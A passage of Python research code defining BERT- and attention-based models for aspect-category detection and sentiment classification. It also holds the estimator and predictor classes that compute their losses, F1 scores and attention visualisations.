final_lstm_category_outputs = []
final_sentiment_outputs = []
for i in range(self.category_num):
fc = self.category_fcs[i]
category_output = embedding_layer_category_outputs[i]
final_category_output = fc(category_output)
final_category_outputs.append(final_category_output)
sentiment_output = lstm_layer_sentiment_outputs[i]
final_sentiment_output = sentiment_output
final_sentiment_outputs.append(final_sentiment_output)
output = {}
if label is not None:
category_labels = []
polarity_labels = []
polarity_masks = []
for i in range(self.category_num):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + self.category_num])
polarity_masks.append(polarity_mask[:, i])
loss = 0
total_category_loss = 0
total_sentiment_loss = 0
for i in range(self.category_num):
category_temp_loss = self.category_loss(final_category_outputs[i].squeeze(dim=-1), category_labels[i])
sentiment_temp_loss = self.sentiment_loss(final_sentiment_outputs[i], polarity_labels[i].long())
if not self.configuration['only_sc']:
total_category_loss += category_temp_loss
if not self.configuration['only_acd']:
total_sentiment_loss += sentiment_temp_loss
loss = self.category_loss_weight * total_category_loss + self.sentiment_loss_weight * total_sentiment_loss
# sentiment accuracy
sentiment_logit = torch.cat(final_sentiment_outputs)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._accuracy(sentiment_logit, sentiment_label, sentiment_mask)
# category f1
final_category_outputs_prob = [torch.sigmoid(e) for e in final_category_outputs]
category_prob = torch.cat(final_category_outputs_prob).squeeze()
category_label = torch.cat(category_labels)
self._f1(category_prob, category_label)
output['loss'] = loss
# visualize attention
pred_category = [torch.sigmoid(e) for e in final_category_outputs]
pred_sentiment = [torch.nn.functional.softmax(e, dim=-1) for e in final_sentiment_outputs]
output['pred_category'] = pred_category
output['pred_sentiment'] = pred_sentiment
output['embedding_layer_category_alphas'] = embedding_layer_category_alphas
output['lstm_layer_words_sentiment_soft'] = lstm_layer_words_sentiment_soft
if self.configuration['visualize_attention']:
for i in range(len(sample)):
words: list = sample[i][2]
# if not ('while' in words and 'it' in words):
# continue
attention_labels = [e.split('/')[0] for e in self.categories]
# category
visual_attentions_category = [embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
titles = ['true: %s - pred: %s' % (str(label[i][j].detach().cpu().numpy()),
str(pred_category[j][i].detach().cpu().numpy()))
for j in range(self.category_num)]
# savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_category,
# attention_labels, titles, savefig_filepath)
attention_visualizer.plot_multi_attentions_of_sentence_backup(words, visual_attentions_category,
attention_labels, titles)
# sentiment lstm layer
visual_attentions_sentiment_temp = [lstm_layer_words_sentiment_soft[j][i][: len(words)]
for j in range(self.category_num)]
if self.configuration['concat_cls_vector']:
words.insert(0, '[CLS]')
clses_sentiment_temp = [e.unsqueeze(dim=1)[i] for e in sentiment_output_clses_soft]
visual_attentions_sentiment_temp = [torch.cat([visual_attentions_sentiment_temp[j], clses_sentiment_temp[j]], dim=0) for j in range(len(visual_attentions_sentiment_temp))]
visual_attentions_sentiment_temp = [e.detach().cpu().numpy() for e in visual_attentions_sentiment_temp]
for j in range(self.category_num):
c_label = label[i][j].detach().cpu().numpy().tolist()
if c_label == 1:
visual_attentions_sentiment = []
labels_sentiment = []
sentiment_true_index = int(label[i][j + self.category_num].detach().cpu().numpy().tolist())
if sentiment_true_index == -100:
continue
titles_sentiment = ['true: %s - pred: %s - %s' % (str(self.polarites[sentiment_true_index]),
str(pred_sentiment[j][i].detach().cpu().numpy()),
str(self.polarites))]
c_attention = embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
if self.configuration['concat_cls_vector']:
c_attention = np.array([1] + c_attention.tolist())
visual_attentions_sentiment.append(c_attention)
labels_sentiment.append(self.categories[j].split('/')[0])
s_distributions = visual_attentions_sentiment_temp[j]
for k in range(self.polarity_num):
labels_sentiment.append(self.polarites[k])
visual_attentions_sentiment.append(s_distributions[:, k])
titles_sentiment.extend([''] * 3)
# savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
# attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_sentiment,
# labels_sentiment,
# titles_sentiment, savefig_filepath)
attention_visualizer.plot_multi_attentions_of_sentence_backup(words, visual_attentions_sentiment,
labels_sentiment,
titles_sentiment)
return output
def get_metrics(self, reset: bool = False) -> Dict[str, float]:
metrics = {
'accuracy': self._accuracy.get_metric(reset),
'category_f1': self._f1.get_metric(reset)['fscore']
}
return metrics
class AsMilSimultaneouslyBertSingle(TextInAllAspectSentimentOutModel):
def __init__(self, word_embedder: TextFieldEmbedder, position_embedder: TextFieldEmbedder,
categories: list, polarities: list, vocab: Vocabulary, configuration: dict,
bert_word_embedder: TextFieldEmbedder=None):
super().__init__(vocab)
self.configuration = configuration
self.word_embedder = word_embedder
self.position_embedder = position_embedder
self.categories = categories
self.polarites = polarities
self.category_num = len(categories)
self.polarity_num = len(polarities)
self.category_loss = nn.BCEWithLogitsLoss()
self.sentiment_loss = nn.CrossEntropyLoss()
self._accuracy = metrics.CategoricalAccuracy()
self._f1 = allennlp_metrics.BinaryF1(0.5)
word_embedding_dim = word_embedder.get_output_dim()
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
self.embedding_layer_fc = nn.Linear(word_embedding_dim, word_embedding_dim, bias=True)
else:
self.embedding_layer_lstm = torch.nn.LSTM(word_embedding_dim, word_embedding_dim, batch_first=True,
bidirectional=False, num_layers=1)
self.embedding_layer_aspect_attentions = [AttentionInHtt(word_embedding_dim,
word_embedding_dim)
for _ in range(self.category_num)]
self.embedding_layer_aspect_attentions = nn.ModuleList(self.embedding_layer_aspect_attentions)
self.category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
self.category_fcs = nn.ModuleList(self.category_fcs)
if self.configuration['lstm_layer_num_in_bert'] != 0:
num_layers = self.configuration['lstm_layer_num_in_bert']
self.lstm = torch.nn.LSTM(768, int(word_embedding_dim / 2), batch_first=True,
bidirectional=True, num_layers=num_layers,
dropout=self.configuration['dropout_in_bert'])
hidden_size = word_embedding_dim
else:
hidden_size = 768
self.sentiment_fc = nn.Sequential(nn.Linear(hidden_size, self.polarity_num))
self.bert_word_embedder = bert_word_embedder
self.dropout_after_embedding_layer = nn.Dropout(self.configuration['dropout_in_bert'])
def set_grad_for_acd_parameter(self, requires_grad=True):
acd_layers = []
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
acd_layers.append(self.embedding_layer_fc)
else:
acd_layers.append(self.embedding_layer_lstm)
acd_layers.append(self.embedding_layer_aspect_attentions)
acd_layers.append(self.category_fcs)
for layer in acd_layers:
for name, value in layer.named_parameters():
value.requires_grad = requires_grad
def set_grad_for_acsc_parameter(self, requires_grad=True):
acsc_layers = []
if self.configuration['lstm_layer_num_in_bert'] != 0:
acsc_layers.append(self.lstm)
acsc_layers.append(self.sentiment_fc)
for layer in acsc_layers:
for name, value in layer.named_parameters():
value.requires_grad = requires_grad
bert_model = self.bert_word_embedder._token_embedders['bert'].bert_model
for param in bert_model.parameters():
param.requires_grad = requires_grad
def set_bert_word_embedder(self, bert_word_embedder: TextFieldEmbedder=None):
self.bert_word_embedder = bert_word_embedder
def forward(self, tokens: Dict[str, torch.Tensor], label: torch.Tensor, position: torch.Tensor,
polarity_mask: torch.Tensor, sample: list, bert: torch.Tensor) -> torch.Tensor:
bert_mask = bert['mask']
bert_word_embeddings = self.bert_word_embedder(bert)
mask = get_text_field_mask(tokens)
word_embeddings = self.word_embedder(tokens)
word_embeddings_size = word_embeddings.size()
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
word_embeddings_fc = self.embedding_layer_fc(word_embeddings)
else:
word_embeddings_fc, (_, _) = self.embedding_layer_lstm(word_embeddings)
embedding_layer_category_outputs = []
embedding_layer_category_alphas = []
embedding_layer_sentiment_outputs = []
embedding_layer_sentiment_alphas = []
bert_clses_of_all_aspect = []
for i in range(self.category_num):
embedding_layer_aspect_attention = self.embedding_layer_aspect_attentions[i]
alpha = embedding_layer_aspect_attention(word_embeddings_fc, mask)
embedding_layer_category_alphas.append(alpha)
category_output = self.element_wise_mul(word_embeddings_fc, alpha, return_not_sum_result=False)
embedding_layer_category_outputs.append(category_output)
bert_clses_of_aspect = bert_word_embeddings[:, 0, 0, :]
bert_clses_of_all_aspect.append(bert_clses_of_aspect)
if not self.configuration['only_bert']:
bert_word_embeddings_of_aspect = bert_word_embeddings[:, 0, :, :]
aspect_word_embeddings_from_bert = []
for j in range(len(sample)):
aspect_word_embeddings_from_bert_of_one_sample = []
all_word_indices_in_bert = sample[j][6]
for k in range(word_embeddings_size[1]):
if k in all_word_indices_in_bert:
word_indices_in_bert = all_word_indices_in_bert[k]
word_bert_embeddings = []
for word_index_in_bert in word_indices_in_bert:
word_bert_embedding = bert_word_embeddings_of_aspect[j][word_index_in_bert]
word_bert_embeddings.append(word_bert_embedding)
if len(word_bert_embeddings) == 0:
print()
if len(word_bert_embeddings) > 1:
word_bert_embeddings_unsqueeze = [torch.unsqueeze(e, dim=0) for e in word_bert_embeddings]
word_bert_embeddings_cat = torch.cat(word_bert_embeddings_unsqueeze, dim=0)
word_bert_embeddings_sum = torch.sum(word_bert_embeddings_cat, dim=0)
word_bert_embeddings_ave = word_bert_embeddings_sum / len(word_bert_embeddings)
else:
word_bert_embeddings_ave = word_bert_embeddings[0]
aspect_word_embeddings_from_bert_of_one_sample.append(
torch.unsqueeze(word_bert_embeddings_ave, 0))
else:
zero = torch.zeros_like(aspect_word_embeddings_from_bert_of_one_sample[-1])
aspect_word_embeddings_from_bert_of_one_sample.append(zero)
aspect_word_embeddings_from_bert_of_one_sample_cat = torch.cat(
aspect_word_embeddings_from_bert_of_one_sample, dim=0)
aspect_word_embeddings_from_bert.append(
torch.unsqueeze(aspect_word_embeddings_from_bert_of_one_sample_cat, dim=0))
aspect_word_embeddings_from_bert_cat = torch.cat(aspect_word_embeddings_from_bert, dim=0)
if self.configuration['lstm_layer_num_in_bert'] != 0:
aspect_word_embeddings_from_bert_cat, _ = self.lstm(aspect_word_embeddings_from_bert_cat)
embedding_layer_sentiment_outputs.append(aspect_word_embeddings_from_bert_cat)
lstm_layer_category_outputs = []
lstm_layer_sentiment_outputs = []
lstm_layer_words_sentiment_soft = []
for i in range(self.category_num):
sentiment_output_temp = bert_clses_of_all_aspect[0]
sentiment_output_cls = self.sentiment_fc(sentiment_output_temp)
if self.configuration['only_bert']:
sentiment_output = sentiment_output_cls
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
# sentiment
aspect_word_embeddings_from_bert = embedding_layer_sentiment_outputs[0]
word_representation_for_sentiment = self.dropout_after_embedding_layer(aspect_word_embeddings_from_bert)
sentiment_alpha = embedding_layer_category_alphas[i]
if self.configuration['mil']:
sentiment_alpha = sentiment_alpha.unsqueeze(1)
words_sentiment = self.sentiment_fc(word_representation_for_sentiment)
if self.configuration['mil_softmax']:
words_sentiment_soft = torch.softmax(words_sentiment, dim=-1)
lstm_layer_words_sentiment_soft.append(words_sentiment_soft)
else:
words_sentiment_soft = words_sentiment
lstm_layer_words_sentiment_soft.append(torch.softmax(words_sentiment, dim=-1))
sentiment_output_mil = torch.matmul(sentiment_alpha, words_sentiment_soft).squeeze(1) # batch_size x 2*hidden_dim
if self.configuration['concat_cls_vector']:
if self.configuration['mil_softmax']:
sentiment_output_cls_softmax = torch.softmax(sentiment_output_cls, dim=-1)
sentiment_output = sentiment_output_mil + sentiment_output_cls_softmax
else:
sentiment_output = sentiment_output_mil + sentiment_output_cls
else:
sentiment_output = sentiment_output_mil
lstm_layer_sentiment_outputs.append(sentiment_output)
else:
sentiment_output_temp = self.element_wise_mul(word_representation_for_sentiment, sentiment_alpha,
return_not_sum_result=False)
sentiment_output_not_mil = self.sentiment_fc(sentiment_output_temp)
if self.configuration['concat_cls_vector']:
sentiment_output = sentiment_output_not_mil + sentiment_output_cls
else:
sentiment_output = sentiment_output_not_mil
lstm_layer_sentiment_outputs.append(sentiment_output)
final_category_outputs = []
final_lstm_category_outputs = []
final_sentiment_outputs = []
for i in range(self.category_num):
fc = self.category_fcs[i]
category_output = embedding_layer_category_outputs[i]
final_category_output = fc(category_output)
final_category_outputs.append(final_category_output)
sentiment_output = lstm_layer_sentiment_outputs[i]
final_sentiment_output = sentiment_output
final_sentiment_outputs.append(final_sentiment_output)
output = {}
if label is not None:
category_labels = []
polarity_labels = []
polarity_masks = []
for i in range(self.category_num):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + self.category_num])
polarity_masks.append(polarity_mask[:, i])
loss = 0
total_category_loss = 0
total_sentiment_loss = 0
for i in range(self.category_num):
category_temp_loss = self.category_loss(final_category_outputs[i].squeeze(dim=-1), category_labels[i])
sentiment_temp_loss = self.sentiment_loss(final_sentiment_outputs[i], polarity_labels[i].long())
total_category_loss += category_temp_loss
if not self.configuration['only_acd']:
total_sentiment_loss += sentiment_temp_loss
loss = self.category_loss_weight * total_category_loss + self.sentiment_loss_weight * total_sentiment_loss
# sentiment accuracy
sentiment_logit = torch.cat(final_sentiment_outputs)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._accuracy(sentiment_logit, sentiment_label, sentiment_mask)
# category f1
final_category_outputs_prob = [torch.sigmoid(e) for e in final_category_outputs]
category_prob = torch.cat(final_category_outputs_prob).squeeze()
category_label = torch.cat(category_labels)
self._f1(category_prob, category_label)
output['loss'] = loss
# visualize attention
pred_category = [torch.sigmoid(e) for e in final_category_outputs]
pred_sentiment = [torch.nn.functional.softmax(e, dim=-1) for e in final_sentiment_outputs]
output['pred_category'] = pred_category
output['pred_sentiment'] = pred_sentiment
if self.configuration['visualize_attention']:
for i in range(len(sample)):
words = sample[i][2]
attention_labels = [e.split('/')[0] for e in self.categories]
# category
visual_attentions_category = [embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
titles = ['true: %s - pred: %s' % (str(label[i][j].detach().cpu().numpy()),
str(pred_category[j][i].detach().cpu().numpy()))
for j in range(self.category_num)]
savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_category,
attention_labels, titles, savefig_filepath)
# sentiment lstm layer
visual_attentions_sentiment_temp = [lstm_layer_words_sentiment_soft[j][i][: len(words)].detach().cpu().numpy()
for j in range(self.category_num)]
for j in range(self.category_num):
c_label = label[i][j].detach().cpu().numpy().tolist()
if c_label == 1:
visual_attentions_sentiment = []
labels_sentiment = []
sentiment_true_index = int(label[i][j + self.category_num].detach().cpu().numpy().tolist())
if sentiment_true_index == -100:
continue
titles_sentiment = ['true: %s - pred: %s - %s' % (str(self.polarites[sentiment_true_index]),
str(pred_sentiment[j][i].detach().cpu().numpy()),
str(self.polarites))]
c_attention = embedding_layer_category_alphas[j][i][: len(words)].detach().cpu().numpy()
visual_attentions_sentiment.append(c_attention)
labels_sentiment.append(self.categories[j].split('/')[0])
s_distributions = visual_attentions_sentiment_temp[j]
for k in range(self.polarity_num):
labels_sentiment.append(self.polarites[k])
visual_attentions_sentiment.append(s_distributions[:, k])
titles_sentiment.extend([''] * 3)
savefig_filepath = super()._get_model_visualization_picture_filepath(self.configuration, words)
attention_visualizer.plot_multi_attentions_of_sentence(words, visual_attentions_sentiment,
labels_sentiment,
titles_sentiment, savefig_filepath)
return output
def get_metrics(self, reset: bool = False) -> Dict[str, float]:
metrics = {
'accuracy': self._accuracy.get_metric(reset),
'category_f1': self._f1.get_metric(reset)['fscore']
}
return metrics
class Estimator:
def estimate(self, ds: Iterable[Instance]) -> dict:
raise NotImplementedError('estimate')
class TextInAllAspectSentimentOutEstimator(Estimator):
def __init__(self, model: Model, iterator: DataIterator, categories: list, polarities: list,
cuda_device: int = -1, configuration: dict=None) -> None:
super().__init__()
self.model = model
self.iterator = iterator
self.categories = categories
self.polarities = polarities
self._sentiment_accuracy = metrics.CategoricalAccuracy()
self._sentiment_accuracy_temp = metrics.CategoricalAccuracy()
self._aspect_f1 = allennlp_metrics.BinaryF1(0.5)
self._aspect_f1_temp = allennlp_metrics.BinaryF1(0.5)
self.cuda_device = cuda_device
self.configuration = configuration
self.other_metrics = {}
self.debug = False
def _get_other_metrics(self, reset=True):
result = self.other_metrics
if reset:
self.other_metrics = {}
return result
def _print_tensor(self, tensors: List):
print('------------------------------------------------------')
list_list = [e.detach().cpu().numpy().tolist() if not isinstance(e, np.ndarray) else e.tolist() for e in tensors]
for k in range(len(list_list[0])):
format_str = '-'.join(['%s'] * len(list_list))
values = tuple(e[k] for e in list_list)
print(format_str % values)
def _acd_aspect_and_metrics(self, category_labels, aspect_pred):
acd_aspect_and_metrics = {}
for i, aspect in enumerate(self.categories):
aspect_label_i = category_labels[i].detach().cpu().numpy().astype(int)
aspect_pred_i = (aspect_pred[i].squeeze(dim=-1).detach().cpu().numpy() > 0.5).astype(int)
if self.debug:
self._print_tensor([aspect_pred_i, aspect_label_i])
aspect_f1 = f1_score(aspect_label_i, aspect_pred_i, average='binary')
aspect_precision = precision_score(aspect_label_i, aspect_pred_i, average='binary')
aspect_recall = recall_score(aspect_label_i, aspect_pred_i, average='binary')
acd_aspect_and_metrics[aspect] = {
'f1': aspect_f1,
'precision': aspect_precision,
'recall': aspect_recall
}
return acd_aspect_and_metrics
def _acsc_aspect_and_metrics(self, polarity_labels, sentiment_pred, polarity_masks):
acsc_aspect_and_metrics = {}
for i, aspect in enumerate(self.categories):
aspect_sentiment_label_i = polarity_labels[i]
aspect_sentiment_pred_i = sentiment_pred[i]
aspect_sentiment_mask_i = polarity_masks[i]
self._sentiment_accuracy_temp(aspect_sentiment_pred_i, aspect_sentiment_label_i,
aspect_sentiment_mask_i)
aspect_acc_temp = self._sentiment_accuracy_temp.get_metric(reset=True),
acsc_aspect_and_metrics[aspect] = {
'acc': aspect_acc_temp[0],
}
return acsc_aspect_and_metrics
def _polarity_metrics(self, sentiment_logit, sentiment_label, sentiment_mask):
sentiment_label_pred_list = sentiment_logit.argmax(dim=-1).detach().cpu().numpy().tolist()
sentiment_label_list = sentiment_label.detach().cpu().numpy().tolist()
sentiment_mask_list = sentiment_mask.detach().cpu().numpy().tolist()
sentiment_label_pred_final = []
sentiment_label_final = []
for i in range(len(sentiment_mask_list)):
sentiment_label_list_i = sentiment_label_list[i]
sentiment_label_pred_list_i = sentiment_label_pred_list[i]
sentiment_mask_list_i = sentiment_mask_list[i]
if sentiment_mask_list_i == 0:
continue
sentiment_label_pred_final.append(sentiment_label_pred_list_i)
sentiment_label_final.append(sentiment_label_list_i)
sentiment_f1s = f1_score(np.array(sentiment_label_final), np.array(sentiment_label_pred_final), average=None,
labels=list(range(len(self.polarities))))
sentiment_precisions = precision_score(np.array(sentiment_label_final), np.array(sentiment_label_pred_final),
average=None, labels=list(range(len(self.polarities))))
sentiment_recalls = recall_score(np.array(sentiment_label_final), np.array(sentiment_label_pred_final),
average=None, labels=list(range(len(self.polarities))))
polarity_metrics = {}
for i, polarity in enumerate(self.polarities):
polarity_metrics[polarity] = {
'f1': sentiment_f1s[i],
'precision': sentiment_precisions[i],
'recall': sentiment_recalls[i]
}
return polarity_metrics
def _merge_micro_f1(self, merge_label_real, merge_logit_real):
tp = 0
pred_total = 0
true_total = 0
for i in range(merge_logit_real.shape[0]):
pred = merge_logit_real[i]
true = merge_label_real[i]
if pred != 0:
pred_total += 1
if true != 0:
true_total += 1
if pred == true != 0:
tp += 1
if pred_total == 0:
pred_total = 0.0000000000000001
if true_total == 0:
true_total = 0.0000000000000001
p = tp / pred_total
r = tp / true_total
if p == 0 and r == 0:
f1 = 0
else:
f1 = 2 * (p * r) / (p + r)
return f1
def _inner_estimate(self, label, polarity_mask, aspect_pred, sentiment_pred, merge_pred):
category_labels = []
polarity_labels = []
merge_labeles = []
polarity_masks = []
category_num = len(self.categories)
for i in range(category_num):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + category_num])
polarity_masks.append(polarity_mask[:, i])
merge_labeles.append(label[:, i + category_num * 2])
if self.debug:
self._print_tensor([label] + category_labels + polarity_labels + merge_labeles)
self._print_tensor([polarity_mask] + polarity_masks)
acd_aspect_and_metrics = self._acd_aspect_and_metrics(category_labels, aspect_pred)
self.other_metrics['acd_metrics'] = acd_aspect_and_metrics
# category f1
category_prob = torch.cat(aspect_pred).squeeze()
category_label = torch.cat(category_labels)
self._aspect_f1(category_prob, category_label)
if not self.configuration['only_acd']:
acsc_aspect_and_metrics = self._acsc_aspect_and_metrics(polarity_labels, sentiment_pred,
polarity_masks)
self.other_metrics['acsc_metrics'] = acsc_aspect_and_metrics
# sentiment accuracy
sentiment_logit = torch.cat(sentiment_pred)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._sentiment_accuracy(sentiment_logit, sentiment_label, sentiment_mask)
polarity_metrics = self._polarity_metrics(sentiment_logit, sentiment_label,
sentiment_mask)
self.other_metrics['polarity_metrics'] = polarity_metrics
# merge
merge_logit = torch.cat(merge_pred)
merge_pred_aspect_indicator = (merge_logit.argmax(dim=-1) != 0)
merge_pred_aspect_indicator = nn_util.move_to_device(merge_pred_aspect_indicator, self.cuda_device)
merge_label = torch.cat(merge_labeles)
merge_label_aspect_indicator = (merge_label != 0)
merge_label_aspect_indicator = nn_util.move_to_device(merge_label_aspect_indicator, self.cuda_device)
merge_aspect_indicator = merge_pred_aspect_indicator | merge_label_aspect_indicator
if self.debug:
self._print_tensor([merge_logit, merge_pred_aspect_indicator, merge_label, merge_label_aspect_indicator, merge_aspect_indicator])
merge_logit_real = merge_logit[merge_aspect_indicator].argmax(dim=-1).detach().cpu().numpy()
merge_label_real = merge_label[merge_aspect_indicator].detach().cpu().numpy()
if self.debug:
self._print_tensor([merge_logit_real, merge_label_real])
# merge_micro_f1 = f1_score(merge_label_real, merge_logit_real, average='micro')
merge_micro_f1 = self._merge_micro_f1(merge_label_real, merge_logit_real)
self.other_metrics['merge_micro_f1'] = merge_micro_f1
def estimate(self, ds: Iterable[Instance]) -> dict:
self.model.eval()
pred_generator = self.iterator(ds, num_epochs=1, shuffle=False)
pred_generator_tqdm = tqdm(pred_generator, total=self.iterator.get_num_batches(ds))
with torch.no_grad():
labels = []
polarity_masks = []
pred_categorys = []
pred_sentiments = []
pred_merges = []
for batch in pred_generator_tqdm:
label = batch['label']
labels.append(label)
polarity_mask = batch['polarity_mask']
polarity_masks.append(polarity_mask)
batch = nn_util.move_to_device(batch, self.cuda_device)
out_dict = self.model(**batch)
pred_category = out_dict['pred_category']
pred_categorys.append(pred_category)
if not self.configuration['only_acd']:
pred_sentiment = out_dict['pred_sentiment']
pred_sentiments.append(pred_sentiment)
if 'merge_pred' in out_dict:
pred_merge = out_dict['merge_pred']
else:
pred_merge = []
for i in range(len(self.categories)):
pred_category_i = pred_category[i].detach().clone().squeeze(-1)
pred_sentiment_i = torch.softmax(pred_sentiment[i], dim=-1)
aspect_threshold = 0.5 if 'aspect_threshold' not in self.configuration else self.configuration['aspect_threshold']
pred_category_i_indicator = pred_category_i > aspect_threshold
pred_category_i_indicator_not = pred_category_i <= aspect_threshold
if self.debug:
print(i)
self._print_tensor([pred_category_i, pred_sentiment_i, pred_category_i_indicator, pred_category_i_indicator_not])
pred_category_i[pred_category_i_indicator] = 0
pred_category_i[pred_category_i_indicator_not] = 1.1
pred_category_i = pred_category_i.unsqueeze(-1)
if self.debug:
self._print_tensor([pred_category[i], pred_category_i, torch.cat([pred_category_i, pred_sentiment_i], dim=-1)])
pred_merge.append(torch.cat([pred_category_i, pred_sentiment_i], dim=-1))
pred_merges.append(pred_merge)
label_final = torch.cat(labels, dim=0)
polarity_mask_final = torch.cat(polarity_masks, dim=0)
pred_category_final = []
pred_sentiment_final = []
pred_merge_final = []
for i in range(len(self.categories)):
pred_category_i = [e[i] for e in pred_categorys]
pred_category_i_cat = torch.cat(pred_category_i, dim=0)
pred_category_final.append(pred_category_i_cat)
if not self.configuration['only_acd']:
pred_sentiment_i = [e[i] for e in pred_sentiments]
pred_sentiment_i_cat = torch.cat(pred_sentiment_i, dim=0)
pred_sentiment_final.append(pred_sentiment_i_cat)
pred_merge_i = [e[i] for e in pred_merges]
pred_merge_i_cat = torch.cat(pred_merge_i, dim=0)
pred_merge_final.append(pred_merge_i_cat)
# self._estimate(label_final, polarity_mask_final, pred_category_final, pred_sentiment_final)
self._inner_estimate(label_final, polarity_mask_final, pred_category_final, pred_sentiment_final,
pred_merge_final)
return {'sentiment_acc': self._sentiment_accuracy.get_metric(reset=True),
'category_f1': self._aspect_f1.get_metric(reset=True),
'other_metrics': self._get_other_metrics()}
class Predictor:
def predict(self, ds: Iterable[Instance]) -> dict:
raise NotImplementedError('predict')
class TextInAllAspectSentimentOutPredictor(Predictor):
def __init__(self, model: Model, iterator: DataIterator, categories: list, polarities: list,
cuda_device: int = -1, configuration: dict=None) -> None:
super().__init__()
self.model = model
self.iterator = iterator
self.categories = categories
self.polarities = polarities
self.cuda_device = cuda_device
self.configuration = configuration
self.debug = False
def _print_tensor(self, tensors: List):
print('------------------------------------------------------')
list_list = [e.detach().cpu().numpy().tolist() if not isinstance(e, np.ndarray) else e.tolist() for e in tensors]
for k in range(len(list_list[0])):
format_str = '-'.join(['%s'] * len(list_list))
values = tuple(e[k] for e in list_list)
print(format_str % values)
def predict(self, ds: Iterable[Instance]) -> dict:
with torch.no_grad():
self.model.eval()
pred_generator = self.iterator(ds, num_epochs=1, shuffle=False)
pred_generator_tqdm = tqdm(pred_generator, total=self.iterator.get_num_batches(ds))
labels = []
polarity_masks = []
pred_categorys = []
pred_sentiments = []
pred_merges = []
for batch in pred_generator_tqdm:
label = batch['label']
labels.append(label)
polarity_mask = batch['polarity_mask']
polarity_masks.append(polarity_mask)
batch = nn_util.move_to_device(batch, self.cuda_device)
out_dict = self.model(**batch)
pred_category = out_dict['pred_category']
pred_categorys.append(pred_category)
if not self.configuration['only_acd']:
pred_sentiment = out_dict['pred_sentiment']
pred_sentiments.append(pred_sentiment)
if 'merge_pred' in out_dict:
pred_merge = out_dict['merge_pred']
else:
pred_merge = []
for i in range(len(self.categories)):
pred_category_i = pred_category[i].detach().clone().squeeze(-1)
pred_sentiment_i = torch.softmax(pred_sentiment[i], dim=-1)
aspect_threshold = 0.5 if 'aspect_threshold' not in self.configuration else self.configuration['aspect_threshold']
pred_category_i_indicator = pred_category_i > aspect_threshold
pred_category_i_indicator_not = pred_category_i <= aspect_threshold
if self.debug:
print(i)
self._print_tensor([pred_category_i, pred_sentiment_i, pred_category_i_indicator, pred_category_i_indicator_not])
pred_category_i[pred_category_i_indicator] = 0
pred_category_i[pred_category_i_indicator_not] = 1.1
pred_category_i = pred_category_i.unsqueeze(-1)
if self.debug:
self._print_tensor([pred_category[i], pred_category_i, torch.cat([pred_category_i, pred_sentiment_i], dim=-1)])
pred_merge.append(torch.cat([pred_category_i, pred_sentiment_i], dim=-1))
pred_merges.append(pred_merge)
label_final = torch.cat(labels, dim=0)
polarity_mask_final = torch.cat(polarity_masks, dim=0)
pred_category_final = []
pred_sentiment_final = []
pred_merge_final = []
for i in range(len(self.categories)):
pred_category_i = [e[i] for e in pred_categorys]
pred_category_i_cat = torch.cat(pred_category_i, dim=0)
pred_category_final.append(pred_category_i_cat)
if not self.configuration['only_acd']:
pred_sentiment_i = [e[i] for e in pred_sentiments]
pred_sentiment_i_cat = torch.cat(pred_sentiment_i, dim=0)
pred_sentiment_final.append(pred_sentiment_i_cat)
pred_merge_i = [e[i] for e in pred_merges]
pred_merge_i_cat = torch.cat(pred_merge_i, dim=0)
pred_merge_final.append(pred_merge_i_cat)
result = []
for i in range(len(ds)):
sample_label = label_final[i][len(self.categories): len(self.categories) + len(self.categories)]
sample_predict = [pred_sentiment_final[j][i] for j in range(len(self.categories))]
sample_result = []
for j in range(len(self.categories)):
if sample_label[j] == -100:
continue
category = self.categories[j]
sentiment_index = sample_predict[j].argmax(dim=-1)
sentiment = self.polarities[sentiment_index]
sample_result.append((category, sentiment))
result.append(sample_result)
return result
class TextInAllAspectSentimentOutPredictorOnInstanceLevel(Predictor):
def __init__(self, model: Model, iterator: DataIterator, categories: list, polarities: list,
cuda_device: int = -1, configuration: dict=None) -> None:
super().__init__()
self.model = model
self.iterator = iterator
self.categories = categories
self.polarities = polarities
self.cuda_device = cuda_device
self.configuration = configuration
self.debug = False
def _print_tensor(self, tensors: List):
print('------------------------------------------------------')
list_list = [e.detach().cpu().numpy().tolist() if not isinstance(e, np.ndarray) else e.tolist() for e in tensors]
for k in range(len(list_list[0])):
format_str = '-'.join(['%s'] * len(list_list))
values = tuple(e[k] for e in list_list)
print(format_str % values)
def predict(self, ds: Iterable[Instance]) -> dict:
result = []
with torch.no_grad():
self.model.eval()
pred_generator = self.iterator(ds, num_epochs=1, shuffle=False)
pred_generator_tqdm = tqdm(pred_generator, total=self.iterator.get_num_batches(ds))
for batch in pred_generator_tqdm:
batch = nn_util.move_to_device(batch, self.cuda_device)
out_dict = self.model(**batch)
attention_weights = out_dict['embedding_layer_category_alphas']
word_sentiments = out_dict['lstm_layer_words_sentiment_soft']
for i in range(word_sentiments[0].shape[0]):
attention_weights_of_one_sample = [e[i].detach().cpu().numpy() for e in attention_weights]
word_sentiments_of_one_sample = [e[i].detach().cpu().numpy() for e in word_sentiments]
result.append({'attention_weights': attention_weights_of_one_sample,
'word_sentiments': word_sentiments_of_one_sample})
return result
class TextInAllAspectSentimentOutEstimatorAll(Estimator):
def __init__(self, model: Model, iterator: DataIterator, categories: list, polarities: list,
cuda_device: int = -1, configuration: dict=None) -> None:
super().__init__()
self.model = model
self.iterator = iterator
self.categories = categories
self.polarities = polarities
